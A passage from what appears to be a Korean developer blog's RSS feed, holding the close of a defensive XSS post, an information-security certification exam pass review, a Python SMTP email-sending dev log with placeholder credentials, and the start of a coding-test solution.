&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 가장 오래되었지만 여전히 매우 자주 발생하는 웹 취약점 중 하나이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 최근에는 SPA 구조와 다양한 JavaScript 프레임워크 사용 증가로 인해 DOM Based XSS 비중도 커지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순 입력 필터링만으로는 충분하지 않으며:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력 인코딩&lt;/li&gt;
&lt;li&gt;안전한 DOM API 사용&lt;/li&gt;
&lt;li&gt;CSP 적용&lt;/li&gt;
&lt;li&gt;프레임워크 보안 기능 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등을 함께 적용해 다층적으로 대응해야 한다.&lt;/p&gt;</description>
      <category>IT/보안</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/30</guid>
      <comments>https://intioib.tistory.com/30#entry30comment</comments>
      <pubDate>Wed, 27 May 2026 13:01:09 +0900</pubDate>
    </item>
    <item>
      <title>2026 1회차 정보보안기사 최종합격 후기(실기 공부법)</title>
      <link>https://intioib.tistory.com/29</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 10시에 합격발표가 나서 끓여온 따끈따끈한 후기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjlbnb/dJMcagrTbdH/DaA6zjap0TK6MhYEUatSj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjlbnb/dJMcagrTbdH/DaA6zjap0TK6MhYEUatSj0/img.png&quot; data-alt=&quot;땄당 !!!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjlbnb/dJMcagrTbdH/DaA6zjap0TK6MhYEUatSj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjlbnb%2FdJMcagrTbdH%2FDaA6zjap0TK6MhYEUatSj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;257&quot; height=&quot;299&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1360&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;땄당 !!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번에 운이 좋게 동회차 합격을 할 수 있었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시험 복기하고 당연히 떨어졌을 줄 알고 다음 시험 접수 준비하고 있었는데 정말 다행이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래도 턱걸이 점수라 내용 잊어버리지 않게 틈틈이 문제집을 들여다 봐야 할 것 같다.&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;공부법&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공부 기간&lt;/b&gt;과 &lt;b&gt;방법&lt;/b&gt;에 대해 적어보자면 나는 우선 필기 합격날(3월 13일)부터 공부를 시작했고, 처음에는 가볍게 공부하다가 2주 전부터는 나름 빡세게 공부했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제집&lt;/b&gt;: 2026 이기적 정보보안기사 올인원 (근데 오타와 오류사항이 좀 있긴 했다..!)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제집 외 활용한 것들&lt;/b&gt;:&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) &lt;b&gt;정보보안기사 오픈채팅방&lt;/b&gt; (정말 애정합니다...&amp;lt;3) ⭐⭐⭐⭐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgSQCz/dJMcafNkuMg/RW8VKDewSiAaKgKifvdZck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgSQCz/dJMcafNkuMg/RW8VKDewSiAaKgKifvdZck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgSQCz/dJMcafNkuMg/RW8VKDewSiAaKgKifvdZck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgSQCz%2FdJMcafNkuMg%2FRW8VKDewSiAaKgKifvdZck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;306&quot; height=&quot;359&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;정보보안에 대한 동향과 자료를 많이 받을 수 있었다. 관리자분들이 톡방 관리를 정말 잘해주셔서 더 더 추천이다!!!&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실기 시험이 다가올수록 단답형 문제에 대비할 수 있는 문제들을 많이 내주시는데. 여기 나와있던 기출은 노션에 다 정리해서 문제를 보자마자 답변할 수 있을 정도로 외웠다. 그리고 헷갈리는 부분에 대해서는 GPT와 함께 개념과 흐름을 정리했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 엔드포인트 관련 보안 기술 =&amp;gt; EDR, NAC, DLP&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;보안 솔루션 차이점: EDR/SIEM/SOAR&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) 수제비 카페, 유튜브 ⭐⭐ &lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;정처기 때도 도움이 돼서 이번에도 활용했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;카페에서는 &lt;b&gt;Daily 문제 - 정보기실기&lt;/b&gt; 문제를 풀면서 모르는 부분은 따로 정리했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;유튜브에서는 아래 영상들을 보면서 &lt;b&gt;공격 흐름&lt;/b&gt;과 &lt;b&gt;기출 풀이&lt;/b&gt;에 대한 개념을 정리했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&amp;amp;si=Y9xuj5vSGhQG4RKP&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&amp;amp;si=Y9xuj5vSGhQG4RKP&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778209720495&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;정보보안기사&quot; data-og-description=&quot;정보보안기사 관련 기출풀이, 특강 등 영상 자료입니다.&quot; data-og-host=&quot;www.youtube.com&quot; data-og-source-url=&quot;https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&amp;amp;si=Y9xuj5vSGhQG4RKP&quot; data-og-url=&quot;http://www.youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bqbksI/dJMb84X2VX0/KcnKJcn6ZS3KVytPuaFBe1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/3nAvS/dJMb9gxpBU2/KsbUJP3K4MJtOeS3R7CzX0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/tmt0B/dJMb84qcQAf/KDPL5zfSV1RG0pGjhDexP0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270&quot;&gt;&lt;a href=&quot;https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&amp;amp;si=Y9xuj5vSGhQG4RKP&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&amp;amp;si=Y9xuj5vSGhQG4RKP&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bqbksI/dJMb84X2VX0/KcnKJcn6ZS3KVytPuaFBe1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/3nAvS/dJMb9gxpBU2/KsbUJP3K4MJtOeS3R7CzX0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/tmt0B/dJMb84qcQAf/KDPL5zfSV1RG0pGjhDexP0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;정보보안기사&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;정보보안기사 관련 기출풀이, 특강 등 영상 자료입니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.youtube.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) 온계절님 블로그&lt;/b&gt; ⭐⭐&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/stereok2&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.naver.com/stereok2&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778208998013&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;온계절의 IT전문가를 꿈꾸는 이를 위한 성공 나침반 : 네이버 블로그&quot; data-og-description=&quot;IT스페셜 리스트(기술사, 금융보안전문가, 정보보안기사, ISMS-P인증심사원) / 자기계발, 동기부여, 멘토링, 코칭 전문가 / 독서와 열정이 만드는 나비효과를 신봉하며, 인문과 기술이 균형잡힌 융&quot; data-og-host=&quot;blog.naver.com&quot; data-og-source-url=&quot;https://blog.naver.com/stereok2&quot; data-og-url=&quot;https://blog.naver.com/stereok2&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/6xuFr/dJMb9efh91J/0iPY8RfxLFuOkk5DQxvgH0/img.jpg?width=204&amp;amp;height=204&amp;amp;face=72_27_121_81&quot;&gt;&lt;a href=&quot;https://blog.naver.com/stereok2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://blog.naver.com/stereok2&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/6xuFr/dJMb9efh91J/0iPY8RfxLFuOkk5DQxvgH0/img.jpg?width=204&amp;amp;height=204&amp;amp;face=72_27_121_81');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;온계절의 IT전문가를 꿈꾸는 이를 위한 성공 나침반 : 네이버 블로그&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;IT스페셜 리스트(기술사, 금융보안전문가, 정보보안기사, ISMS-P인증심사원) / 자기계발, 동기부여, 멘토링, 코칭 전문가 / 독서와 열정이 만드는 나비효과를 신봉하며, 인문과 기술이 균형잡힌 융&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;blog.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시험이 얼마 남지 않은 시점에서는 &lt;b&gt;기출&lt;/b&gt;과 &lt;b&gt;답안 작성 능력&lt;/b&gt;을 키우는 게 중요하다고 생각하고, 기출을 풀고 블로그를 참고하는 형식으로 진행했다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;시험 꿀팁&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연한 말이지만 몰라도 다 적자!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몰라도 다 적어내야지(이른바 소설 쓰기) 거기서 맞는 부분에 대한 추가 점수가 있는 것 같다.&lt;/p&gt;</description>
      <category>IT/자격증</category>
      <category>자격증</category>
      <category>정보기</category>
      <category>정보보안기사</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/29</guid>
      <comments>https://intioib.tistory.com/29#entry29comment</comments>
      <pubDate>Fri, 8 May 2026 12:17:13 +0900</pubDate>
    </item>
    <item>
      <title>[뉴스톡] 개발 일지 : 이메일 전송 기능 구현</title>
      <link>https://intioib.tistory.com/27</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;현재 Newstocks 라는 주식 레포팅 시스템을 개발하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현은 빠른 환경과, 다양한 라이브러리를 손쉽게 쓸 수 있는 FastAPI 환경에서 개발 중이며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SMTP는 Naver&amp;nbsp; mail을 사용해서 메일 전송 기능을 구현했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 환경 설정을 할 때 네이버 메일의 환경설정으로 이동해야 한다. (휴지통 아래에 위치)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;286&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b820a0/dJMcagMdk9E/IU41qpQRpbMKhhVq1KunMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b820a0/dJMcagMdk9E/IU41qpQRpbMKhhVq1KunMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b820a0/dJMcagMdk9E/IU41qpQRpbMKhhVq1KunMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb820a0%2FdJMcagMdk9E%2FIU41qpQRpbMKhhVq1KunMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;286&quot; height=&quot;146&quot; data-origin-width=&quot;286&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m2X0M/dJMcaakTuZY/KaBhMSCFJIt1ZbzOgjVLs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m2X0M/dJMcaakTuZY/KaBhMSCFJIt1ZbzOgjVLs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m2X0M/dJMcaakTuZY/KaBhMSCFJIt1ZbzOgjVLs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm2X0M%2FdJMcaakTuZY%2FKaBhMSCFJIt1ZbzOgjVLs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;340&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POP/IMAP 설정으로 들어가 &lt;b&gt;사용함&lt;/b&gt;으로 변경을 해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 찾아본 자료와는 다르게 2단계 인증을 해주어야 한다고 되어있었는데. 여기서 &lt;b&gt;2단계 인증&lt;/b&gt;과 &lt;b&gt;애플리케이션 비밀번호 설정&lt;/b&gt;을 모두 해주어야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1778131889728&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;server.login(email_id, email_pw)
#아이디, 애플리케이션 pw값(네이버pwX)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 2단계 인증만 하고 코드에 내 네이버 비밀번호를 입력해줬더니 다음과 같은 &lt;b&gt;인증 오류&lt;/b&gt;가 발생했었다.&lt;/p&gt;
&lt;pre id=&quot;code_1778131953486&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SMTPAuthenticationError(code, resp) smtplib.SMTPAuthenticationError:
Username and Password not accepted&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정해주면 정상적으로 메일이 발송된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1939&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwSDCc/dJMcajhNUDZ/vL0b50DCnYPdwWsqhm8Kk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwSDCc/dJMcajhNUDZ/vL0b50DCnYPdwWsqhm8Kk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwSDCc/dJMcajhNUDZ/vL0b50DCnYPdwWsqhm8Kk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwSDCc%2FdJMcajhNUDZ%2FvL0b50DCnYPdwWsqhm8Kk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;242&quot; height=&quot;401&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;1939&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전체 코드&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778132642043&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from jinja2 import Environment, FileSystemLoader


# Jinja2 템플릿 설정
env = Environment(
    loader=FileSystemLoader('app/templates')
)


def render_html(news_list, insight):
    template = env.get_template(&quot;report.html&quot;)

    return template.render(
        news_list=news_list,
        insight=insight
    )


def send_mail():

    # 테스트 데이터
    news_list = [
        {
            &quot;title&quot;: &quot;삼성전자 실적 상승&quot;,
            &quot;content&quot;: &quot;영업이익 증가 예상&quot;
        },
        {
            &quot;title&quot;: &quot;미국 금리 인상 가능성&quot;,
            &quot;content&quot;: &quot;연준 발언 영향&quot;
        }
    ]

    insight = &quot;&quot;&quot;
  시장 요약
- 반도체 시장 회복 기대
- 금리 인상 우려 지속

  투자 인사이트
기술주 변동성 확대 가능성 존재
&quot;&quot;&quot;

    # HTML 렌더링
    content = render_html(news_list, insight)

    message = MIMEMultipart()
    message['Subject'] = 'Newstocks Test'
    message['From'] = 'Newstocks &amp;lt;본인 이메일&amp;gt;'
    message['To'] = '전송 이메일'

    mimeText = MIMEText(content, 'html')
    message.attach(mimeText)

    email_id = 'id값'
    email_pw = '어플리케이션 pw'

    server = smtplib.SMTP('smtp.naver.com', 587)
    server.ehlo()

    server.starttls()

    server.login(email_id, email_pw)

    server.sendmail(
        message['From'],
        message['To'],
        message.as_string()
    )

    server.quit()

    print(&quot;메일 전송 완료&quot;)


send_mail()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/개발</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/27</guid>
      <comments>https://intioib.tistory.com/27#entry27comment</comments>
      <pubDate>Thu, 7 May 2026 14:45:35 +0900</pubDate>
    </item>
    <item>
      <title>[프로그래머스 Python] 베스트앨범</title>
      <link>https://intioib.tistory.com/22</link>
      <description>&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #f3c000;&quot;&gt;&lt;b&gt;Level 3&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9feec3;&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42579&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/42579&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773903423506&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;SW개발자를 위한 평가, 교육의 Total Solution을 제공하는 개발자 성장을 위한 베이스캠프&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42579&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/EUrti/dJMb9hC0nza/Csrz1lavG8EYK6hlTZB2Z1/img.png?width=1920&amp;amp;height=960&amp;amp;face=0_0_1920_960,https://scrap.kakaocdn.net/dn/WwEVb/dJMb9dHm9HT/unRx06WKm0hstWs16oeQzk/img.png?width=1920&amp;amp;height=960&amp;amp;face=0_0_1920_960&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42579&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42579&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/EUrti/dJMb9hC0nza/Csrz1lavG8EYK6hlTZB2Z1/img.png?width=1920&amp;amp;height=960&amp;amp;face=0_0_1920_960,https://scrap.kakaocdn.net/dn/WwEVb/dJMb9dHm9HT/unRx06WKm0hstWs16oeQzk/img.png?width=1920&amp;amp;height=960&amp;amp;face=0_0_1920_960');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;SW개발자를 위한 평가, 교육의 Total Solution을 제공하는 개발자 성장을 위한 베이스캠프&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwcQOo/dJMcajhchCU/rVxPqfDCFTj6HDrSjHV701/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwcQOo/dJMcajhchCU/rVxPqfDCFTj6HDrSjHV701/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwcQOo/dJMcajhchCU/rVxPqfDCFTj6HDrSjHV701/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwcQOo%2FdJMcajhchCU%2FrVxPqfDCFTj6HDrSjHV701%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;209&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;풀이 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 많이 재생된 장르를 구하기 위해 gen 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 장르에 따라 분류하기 위해 per_gen 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 많이 재생된 장르 먼저 수록하기 위해 gen 내림차순 정렬&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 문제의 2번, 3번 조건을 만족하도록 (-x[1], x[0])로 정렬&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 장르별 최대 2개씩 고유번호를 넣어줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최적화 전 코드(내 풀이)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773903625254&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from collections import defaultdict
def solution(genres, plays):
    answer = []
    gen = defaultdict(int)  # 1)
    per_gen = defaultdict(list) # 2)
    
    for i in range(len(plays)):
        gen[genres[i]] += plays[i]
        per_gen[genres[i]].append((i, plays[i]))
        
    gen = sorted(gen.items(), key=lambda x: -x[1])  # 3)
    
    for genre in per_gen:
